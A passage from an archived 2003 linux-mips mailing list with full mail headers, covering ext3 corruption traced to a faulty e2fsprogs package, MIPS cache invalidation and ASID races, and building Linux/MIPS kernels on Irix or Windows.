/proc /proc proc rw 0 0

Now I'm beginning to suspect that my conversion from ext2 to ext3 (tune2fs -j on a running system, and
just modifying ext2 to ext3 in fstab) is somehow not correct, or something else which I overlooked?
How did you guys (the ones without any ext3 problems) initially get the ext3 root partition in place
(was it born as ext3 or converted from ext2?) and anything special one needs to do in fstab?

/Hartvig


Jan-Benedict Glaw wrote:

> On Thu, 2003-04-10 22:17:49 +0200, Hartvig Ekner <hartvig@ekner.info>
> wrote in message <3E95D16D.1671BA5A@ekner.info>:
> > Jan-Benedict Glaw wrote:
>
> [ext3 fs corruption after journal recovery]
>
> > I can reproduce this anytime by just pushing the reset button and checking the filesystem
> > at reboot after ext3 recovery has run. However, if I just do regular fsck's (without unclean
> > shutdowns) nothing seems to be wrong. So I am pretty sure it is something which
>
> How do you invoce fsck?
>
> > goes wrong in conjunction with the unclean shutdowns.
>
> That's bad then:-(
>
> > Is ext3 journal recovery really supposed to recover everything to a state where fsck returns no
> > errors, or is it potentially leaving non-fatal errors in the filesystem (e.g. lost inodes which just
>
> No. The concept is different.
>
> Such a journal will log things like:
>
> - File creation/deletion
> - Owner/timestamp/access changes
>
> These informations are restored during journal recovery. Most
> filesystems do /not/ store the actual data you're writing to a file into
> the journal. So, after you've issued a write() and presses the reset
> button, the journal contains the new filesize, but by possibility
> __not__ the data you've written to the file. So file size is okay, but
> file content isn't. It's basically the job of the journal to keep your
> filesystem intact, but not your data.
>
> If you do this:
>
>         - Boot with / mounted r/o
>         - e2fsck -f /dev/your-root-device
>         - Reset
>         - Boot with / mounted r/w
>         - Write something
>         - Reset
>
> You shouldn't see fsck failing (except it may replay the journal for
> filesystems which hadn't been mounted on /).
>
> If you see corruption here (ie. fsck finds problems after replaying the
> journal), something is serverely broken.
>
> > reduces capacity, but does not cause further corruption if the filesystem is used) which will then
> > be picked up by a later fsck when one has time to run it?
>
> It should present you a f/s with no *known* problems. If corruption
> (broken DMA transfers, ...) took place, this hasn't eventually logget
> into the journal so this isn't recovered:-)
>
> > What does the error "Inodes that were part of a corrupted orphan linked list found." actually
> > mean? Is this a fatal error, or a non-critical error along the lines I described above (an error
> > which does not get any worse if the filesystem is used)?
>
> I think this basically means that fsck found files of a (destroyed)
> directory. But for exact statements here, read e2fsck's sources...
>
> > Is there anybody with ext3 up and running who would volunteer to do a couple of unclean
> > shutdowns and see if the recovery works without any fsck errors present afterwards?
>
> :-)
>
> MfG, JBG


From brian@murphy.dk Fri Apr 11 11:18:01 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 11:18:02 +0100 (BST)
Received: from port48.ds1-vbr.adsl.cybercity.dk ([IPv6:::ffff:212.242.58.113]:65090
	"EHLO valis.localnet") by linux-mips.org with ESMTP
	id <S8225211AbTDKKSB>; Fri, 11 Apr 2003 11:18:01 +0100
Received: from murphy.dk (brm@brian.localnet [10.0.0.2])
	by valis.localnet (8.12.7/8.12.7/Debian-2) with ESMTP id h3BAHqBs002490;
	Fri, 11 Apr 2003 12:17:53 +0200
Message-ID: <3E969650.9070107@murphy.dk>
Date: Fri, 11 Apr 2003 12:17:52 +0200
From: Brian Murphy <brian@murphy.dk>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020623 Debian/1.0.0-0.woody.1
MIME-Version: 1.0
To: Hartvig Ekner <hartvig@ekner.info>
CC: linux-mips@linux-mips.org
Subject: Re: ext3 under MIPS?
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <20030411064754.GM5242@lug-owl.de> <3E969362.B50934A@ekner.info>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Return-Path: <brian@murphy.dk>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1991
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: brian@murphy.dk
Precedence: bulk
X-list: linux-mips

Hartvig Ekner wrote:

>Now I'm beginning to suspect that my conversion from ext2 to ext3 (tune2fs -j on a running system, and
>just modifying ext2 to ext3 in fstab) is somehow not correct, or something else which I overlooked?
>How did you guys (the ones without any ext3 problems) initially get the ext3 root partition in place
>(was it born as ext3 or converted from ext2?) and anything special one needs to do in fstab?
>
>  
>
I did the same: "tune2fs -j" also on a running system, nothing special 
in fstab:

/dev/hda2       /               ext3            defaults        0       1

/Brian


From ralf@linux-mips.net Fri Apr 11 12:36:08 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 12:36:08 +0100 (BST)
Received: from p508B7FA0.dip.t-dialin.net ([IPv6:::ffff:80.139.127.160]:6324
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225199AbTDKLgI>; Fri, 11 Apr 2003 12:36:08 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3BBZvP24706;
	Fri, 11 Apr 2003 13:35:57 +0200
Date: Fri, 11 Apr 2003 13:35:57 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Dominic Sweetman <dom@mips.com>
Cc: Mike Uhler <uhler@mips.com>, Jun Sun <jsun@mvista.com>,
	linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030411133557.A23640@linux-mips.org>
References: <20030410220906.B519@linux-mips.org> <200304102028.h3AKSf211575@uhler-linux.mips.com> <20030410225212.A3294@linux-mips.org> <16022.24992.314581.716649@gladsmuir.mips.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <16022.24992.314581.716649@gladsmuir.mips.com>; from dom@mips.com on Fri, Apr 11, 2003 at 07:33:04AM +0100
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1992
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 07:33:04AM +0100, Dominic Sweetman wrote:

> > > I'm not sure what you mean by TLB translations required for hit
> > > cacheops.  If you mean the Index Writeback or Index Invalidate
> > > functions, note that you can (and should) use a kseg0 address to
> > > do this.
> 
> Mike was proposing a kseg0 address translating to the right physical
> address, and used with a hit-type cacheop.  I believe Ralf (and Linux)
> are just assuming that's no good because it doesn't work if you have
> cacheable memory above 512Mbytes physical address.
> 
> I wonder whether anything really bad would happen if you temporarily
> changed the (machine) ASID to that of the address space you wanted to
> invalidate?

There are non-trivial race conditions related to the IPI mechanism used
on multi-processors when attempting this.  The easy fix would be
temporarily disabling interrupts - but of course that's undesireable as
well.

  Ralf

From ralf@linux-mips.net Fri Apr 11 13:10:52 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 13:10:52 +0100 (BST)
Received: from p508B7FA0.dip.t-dialin.net ([IPv6:::ffff:80.139.127.160]:32692
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225199AbTDKMKw>; Fri, 11 Apr 2003 13:10:52 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3BCAjA25350;
	Fri, 11 Apr 2003 14:10:45 +0200
Date: Fri, 11 Apr 2003 14:10:45 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Kevin D. Kissell" <kevink@mips.com>
Cc: Dominic Sweetman <dom@mips.com>, Mike Uhler <uhler@mips.com>,
	Jun Sun <jsun@mvista.com>, linux-mips@linux-mips.org
Subject: Re: way selection bit for multi-way cache
Message-ID: <20030411141045.A24953@linux-mips.org>
References: <20030410220906.B519@linux-mips.org><200304102028.h3AKSf211575@uhler-linux.mips.com><20030410225212.A3294@linux-mips.org> <16022.24992.314581.716649@gladsmuir.mips.com> <004a01c30002$b3b19480$10eca8c0@grendel>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <004a01c30002$b3b19480$10eca8c0@grendel>; from kevink@mips.com on Fri, Apr 11, 2003 at 10:15:06AM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1993
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 10:15:06AM +0200, Kevin D. Kissell wrote:

> > > > I'm not sure what you mean by TLB translations required for hit
> > > > cacheops.  If you mean the Index Writeback or Index Invalidate
> > > > functions, note that you can (and should) use a kseg0 address to
> > > > do this.
> > 
> > Mike was proposing a kseg0 address translating to the right physical
> > address, and used with a hit-type cacheop.  I believe Ralf (and Linux)
> > are just assuming that's no good because it doesn't work if you have
> > cacheable memory above 512Mbytes physical address.
> 
> More importantly, it doesn't work in the case of virtually tagged caches,
> such as those in the SB-1 and MIPS 20K.

On SB1 we just switch to a new ASID which effectivly is a cheap way to
invalidate the entire I-cache.  Assuming the other process has at most
4k of code resident in the I-cache from it's previous timeslice this
even is the optimal solution.  But this optimization is a heuristic that
hasn't been verified to be optimal for performance.

> > I wonder whether anything really bad would happen if you temporarily
> > changed the (machine) ASID to that of the address space you wanted to
> > invalidate?
> 
> I looked at that when we were investigating the aforementioned
> issues with virtually-tagged I-caches.  It looked to me as if exceptions
> can occur during the invalidation, and that processing those exceptions
> can cause signals to be raised to the current process in a manner that 
> assumes that the TLB and ASID are coherent and in sync with 
> the scheduler.  It may be that just changing the ASID temporarily
> would work - most of the time.  It may even be that, with a bit
> of lashing down of state, disabling of interrupts, setting of flags
> to be read by traps.c/signal.c, etc, etc, it could be made bulletproof.
> But I don't think that the simple, obvious hack is safe.

Yep - it seems like a can of worms sufficiently large to be left closed
for 2.4 ...

  Ralf

From karsten@excalibur.cologne.de Fri Apr 11 14:27:37 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 14:27:38 +0100 (BST)
Received: from natsmtp01.webmailer.de ([IPv6:::ffff:192.67.198.81]:1484 "EHLO
	post.webmailer.de") by linux-mips.org with ESMTP
	id <S8225256AbTDKN1h>; Fri, 11 Apr 2003 14:27:37 +0100
Received: from excalibur.cologne.de (pD95119F9.dip.t-dialin.net [217.81.25.249])
	by post.webmailer.de (8.12.8/8.8.7) with ESMTP id h3BDRYjd024869
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 15:27:35 +0200 (MEST)
Received: from karsten by excalibur.cologne.de with local (Exim 3.35 #1 (Debian))
	id 193ygu-0000Dm-00
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 15:35:40 +0200
Date: Fri, 11 Apr 2003 15:35:34 +0200
From: Karsten Merker <karsten@excalibur.cologne.de>
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: ext3 under MIPS?
Message-ID: <20030411133534.GB418@excalibur.cologne.de>
Mail-Followup-To: Karsten Merker <karsten@excalibur.cologne.de>,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <20030411064754.GM5242@lug-owl.de> <3E969362.B50934A@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <3E969362.B50934A@ekner.info>
User-Agent: Mutt/1.3.28i
X-No-Archive: yes
Return-Path: <karsten@excalibur.cologne.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1994
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: karsten@excalibur.cologne.de
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 12:05:22PM +0200, Hartvig Ekner wrote:

> Now I'm beginning to suspect that my conversion from ext2 to ext3 (tune2fs -j on a running system, and
> just modifying ext2 to ext3 in fstab) is somehow not correct, or something else which I overlooked?
> How did you guys (the ones without any ext3 problems) initially get the ext3 root partition in place
> (was it born as ext3 or converted from ext2?) and anything special one needs to do in fstab?

On my mipsel box it was created as ext3 from scratch, on i386 it was
converted from ext2.

Regards,
Karsten
-- 
#include <standard_disclaimer>
Nach Paragraph 28 Abs. 3 Bundesdatenschutzgesetz widerspreche ich der Nutzung
oder Uebermittlung meiner Daten fuer Werbezwecke oder fuer die Markt- oder
Meinungsforschung.

From karsten@excalibur.cologne.de Fri Apr 11 14:28:27 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 14:28:27 +0100 (BST)
Received: from natsmtp01.webmailer.de ([IPv6:::ffff:192.67.198.81]:42702 "EHLO
	post.webmailer.de") by linux-mips.org with ESMTP
	id <S8225209AbTDKN21>; Fri, 11 Apr 2003 14:28:27 +0100
Received: from excalibur.cologne.de (pD95119F9.dip.t-dialin.net [217.81.25.249])
	by post.webmailer.de (8.12.8/8.8.7) with ESMTP id h3BDSQYx025942
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 15:28:26 +0200 (MEST)
Received: from karsten by excalibur.cologne.de with local (Exim 3.35 #1 (Debian))
	id 193yhj-0000E0-00
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 15:36:31 +0200
Date: Fri, 11 Apr 2003 15:36:31 +0200
From: Karsten Merker <karsten@excalibur.cologne.de>
To: linux-mips@linux-mips.org
Subject: Re: ext3 under MIPS?
Message-ID: <20030411133631.GC418@excalibur.cologne.de>
Mail-Followup-To: Karsten Merker <karsten@excalibur.cologne.de>,
	linux-mips@linux-mips.org
References: <3E954651.C7AECB90@ekner.info> <20030410154050.GI5242@lug-owl.de> <3E95D16D.1671BA5A@ekner.info> <3E9673BF.2050808@murphy.dk> <006001c30004$5ef3c8d0$10eca8c0@grendel>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <006001c30004$5ef3c8d0$10eca8c0@grendel>
User-Agent: Mutt/1.3.28i
X-No-Archive: yes
Return-Path: <karsten@excalibur.cologne.de>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1995
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: karsten@excalibur.cologne.de
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 10:28:31AM +0200, Kevin D. Kissell wrote:
> Could you guys please specify which endianness you're running?
> This is just the sort of situation where that can end up being an issue.

Little endian.

Regards,
Karsten
-- 
#include <standard_disclaimer>
Nach Paragraph 28 Abs. 3 Bundesdatenschutzgesetz widerspreche ich der Nutzung
oder Uebermittlung meiner Daten fuer Werbezwecke oder fuer die Markt- oder
Meinungsforschung.

From erik@greendragon.org Fri Apr 11 17:42:15 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 17:42:17 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:56812 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225199AbTDKQmP>;
	Fri, 11 Apr 2003 17:42:15 +0100
Received: from mahes.visi.com (mahes.visi.com [209.98.98.96])
	by mail-out.visi.com (Postfix) with ESMTP id 16A6F36CD
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 11:42:10 -0500 (CDT)
Received: from mahes.visi.com (localhost [127.0.0.1])
	by mahes.visi.com (8.12.9/8.12.5) with ESMTP id h3BGg99R040762
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 11:42:09 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mahes.visi.com (8.12.9/8.12.5/Submit) id h3BGg8Ao040761
	for linux-mips@linux-mips.org; Fri, 11 Apr 2003 16:42:08 GMT
X-Authentication-Warning: mahes.visi.com: www set sender to erik@greendragon.org using -f
Received: from temns.guidant.com (temns.guidant.com [12.145.46.162]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Fri, 11 Apr 2003 16:42:08 +0000
Message-ID: <1050079328.3e96f060dd3cd@my.visi.com>
Date: Fri, 11 Apr 2003 16:42:08 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: Kernel build on Irix w/gcc-fw, Irix as/ld?
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 12.145.46.162
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1996
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips



Hi all;

Has anyone successfully built a kernel under Irix, using the freeware GCC and
the standard Irix as/ld tools?  Just wondering off the top of my head, I would
think the Irix tools would have less bugs for 64 bit code than the current
binutils are reputed to have.  I have a set of licensed compilers coming for
another project so I could possibly use those too.

Just curious,

Erik




-- 
Erik J. Green
erik@greendragon.org

From jsun@mvista.com Fri Apr 11 17:47:31 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 17:47:32 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:40946 "EHLO
	orion.mvista.com") by linux-mips.org with ESMTP id <S8225199AbTDKQrb>;
	Fri, 11 Apr 2003 17:47:31 +0100
Received: (from jsun@localhost)
	by orion.mvista.com (8.11.6/8.11.6) id h3BGlM303349;
	Fri, 11 Apr 2003 09:47:22 -0700
Date: Fri, 11 Apr 2003 09:47:22 -0700
From: Jun Sun <jsun@mvista.com>
To: Michael Anburaj <michaelanburaj@hotmail.com>
Cc: ralf@linux-mips.org, linux-mips@linux-mips.org, jsun@mvista.com
Subject: Re: Linux for MIPS Atlas 4Kc board
Message-ID: <20030411094722.C3245@mvista.com>
References: <BAY1-F107mJbJo9n2Lg00011ad3@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <BAY1-F107mJbJo9n2Lg00011ad3@hotmail.com>; from michaelanburaj@hotmail.com on Fri, Apr 11, 2003 at 02:24:36AM -0700
Return-Path: <jsun@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1997
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jsun@mvista.com
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 02:24:36AM -0700, Michael Anburaj wrote:
> Hi,
> 
> Thanks Ralf.
> 
> I want this question to be answered.
> 
> Can I build linux on my Win98 machine for MIPS 4Kc Atlas board using 
> mipsisa32-elf-gcc & make?
> 
> Please respondwith atmost details.
>

Some people here in mvista have successfully setup a cross development
for MIPS and other arches.  Sorry, I don't know the details.  Just
a data point that it is doable.

Jun

From hartvig@ekner.info Fri Apr 11 18:55:18 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 18:55:21 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:37133 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225199AbTDKRzS>;
	Fri, 11 Apr 2003 18:55:18 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP id F38B1B4DB
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 19:55:05 +0200 (CEST)
Message-ID: <3E97018B.3435D14C@ekner.info>
Date: Fri, 11 Apr 2003 19:55:23 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: ext3 problem solved
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1998
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

I found out (sort of) what the problem was and found a fix.

Apparantly there is something wrong with e2fsprogs 1.27, since it was unable to repair
the problem I had in the filesystem (just kept repairing the same thing again and again).

I took the disk and attached it to a x86 PC, and ran fsck.ext3 there (an older version, 1.26).
It found exactly the same errors as the MIPS system, but actually fixed them so that
subsequent runs with "-f" reported no errors. I then put the disk back on the MIPS
system - voila, no more filesystem problems. Then did another unclean shutdown,
and the same problem reappeared, and once again fsck (on MIPS) was unable to fix
it.

Then I downloaded e2fsprogs-1.32-6.mipsel.rpm from redhat 9, and installed that on my
MIPS system. And that removed the problem for good.

So the conclusion must be: The e2fsprogs-1.27 package which is part of the MIPS 7.3
RedHat distribution (CDROM and FTP) is broken. Don't leave home without a newer
e2fsprogs RPM just in case!

Thanks to everybody who replied!

/Hartvig



From ralf@linux-mips.net Fri Apr 11 19:15:13 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 19:15:14 +0100 (BST)
Received: from p508B7FA0.dip.t-dialin.net ([IPv6:::ffff:80.139.127.160]:954
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225199AbTDKSPN>; Fri, 11 Apr 2003 19:15:13 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3BIF5m30291;
	Fri, 11 Apr 2003 20:15:05 +0200
Date: Fri, 11 Apr 2003 20:15:05 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Kernel build on Irix w/gcc-fw, Irix as/ld?
Message-ID: <20030411201504.A24855@linux-mips.org>
References: <1050079328.3e96f060dd3cd@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1050079328.3e96f060dd3cd@my.visi.com>; from erik@greendragon.org on Fri, Apr 11, 2003 at 04:42:08PM +0000
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1999
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 04:42:08PM +0000, Erik J. Green wrote:

> Has anyone successfully built a kernel under Irix, using the freeware GCC and
> the standard Irix as/ld tools?  Just wondering off the top of my head, I would
> think the Irix tools would have less bugs for 64 bit code than the current
> binutils are reputed to have.  I have a set of licensed compilers coming for
> another project so I could possibly use those too.

<mode=prayer_wheel>
Use gcc and binutils in a Linux/MIPS configuration or give up.
</mode>

  Ralf

From erik@greendragon.org Fri Apr 11 19:26:35 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 19:26:36 +0100 (BST)
Received: from kauket.visi.com ([IPv6:::ffff:209.98.98.22]:33774 "HELO
	mail-out.visi.com") by linux-mips.org with SMTP id <S8225199AbTDKS0f>;
	Fri, 11 Apr 2003 19:26:35 +0100
Received: from mahes.visi.com (mahes.visi.com [209.98.98.96])
	by mail-out.visi.com (Postfix) with ESMTP id 4A65F36E1
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 13:26:34 -0500 (CDT)
Received: from mahes.visi.com (localhost [127.0.0.1])
	by mahes.visi.com (8.12.9/8.12.5) with ESMTP id h3BIQY9R041605
	for <linux-mips@linux-mips.org>; Fri, 11 Apr 2003 13:26:34 -0500 (CDT)
	(envelope-from erik@greendragon.org)
Received: (from www@localhost)
	by mahes.visi.com (8.12.9/8.12.5/Submit) id h3BIQYWf041604
	for linux-mips@linux-mips.org; Fri, 11 Apr 2003 18:26:34 GMT
X-Authentication-Warning: mahes.visi.com: www set sender to erik@greendragon.org using -f
Received: from temns.guidant.com (temns.guidant.com [12.145.46.162]) 
	by my.visi.com (IMP) with HTTP 
	for <longshot@imap.visi.com>; Fri, 11 Apr 2003 18:26:33 +0000
Message-ID: <1050085593.3e9708da00ad7@my.visi.com>
Date: Fri, 11 Apr 2003 18:26:34 +0000
From: "Erik J. Green" <erik@greendragon.org>
To: linux-mips@linux-mips.org
Subject: Re: Kernel build on Irix w/gcc-fw, Irix as/ld?
References: <1050079328.3e96f060dd3cd@my.visi.com> <20030411201504.A24855@linux-mips.org>
In-Reply-To: <20030411201504.A24855@linux-mips.org>
MIME-Version: 1.0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) 4.0-cvs
X-Originating-IP: 12.145.46.162
Return-Path: <erik@greendragon.org>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2000
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: erik@greendragon.org
Precedence: bulk
X-list: linux-mips

Quoting Ralf Baechle <ralf@linux-mips.org>:
> 
> <mode=prayer_wheel>
> Use gcc and binutils in a Linux/MIPS configuration or give up.
> </mode>
> 
>   Ralf

So that's a no, then? =P

Erik

PS: Ommmmmmmm

-- 
Erik J. Green
erik@greendragon.org

From ralf@linux-mips.net Fri Apr 11 20:48:10 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 20:48:11 +0100 (BST)
Received: from p508B7FA0.dip.t-dialin.net ([IPv6:::ffff:80.139.127.160]:23228
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225201AbTDKTsK>; Fri, 11 Apr 2003 20:48:10 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h3BJm6t00398;
	Fri, 11 Apr 2003 21:48:06 +0200
Date: Fri, 11 Apr 2003 21:48:06 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: "Erik J. Green" <erik@greendragon.org>
Cc: linux-mips@linux-mips.org
Subject: Re: Kernel build on Irix w/gcc-fw, Irix as/ld?
Message-ID: <20030411214806.A32677@linux-mips.org>
References: <1050079328.3e96f060dd3cd@my.visi.com> <20030411201504.A24855@linux-mips.org> <1050085593.3e9708da00ad7@my.visi.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1050085593.3e9708da00ad7@my.visi.com>; from erik@greendragon.org on Fri, Apr 11, 2003 at 06:26:34PM +0000
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 2001
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Fri, Apr 11, 2003 at 06:26:34PM +0000, Erik J. Green wrote:

> Quoting Ralf Baechle <ralf@linux-mips.org>:
> > 
> > <mode=prayer_wheel>
> > Use gcc and binutils in a Linux/MIPS configuration or give up.
> > </mode>
> 
> So that's a no, then? =P

Not if you don't spend a few moons into hacking the code.

> PS: Ommmmmmmm

:-)

  Ralf

From DennisCastleman@oaktech.com Fri Apr 11 22:43:36 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 11 Apr 2003 22:43:37 +0100 (BST)
Received: from [IPv6:::ffff:207.16.149.110] ([IPv6:::ffff:207.16.149.110]:48815
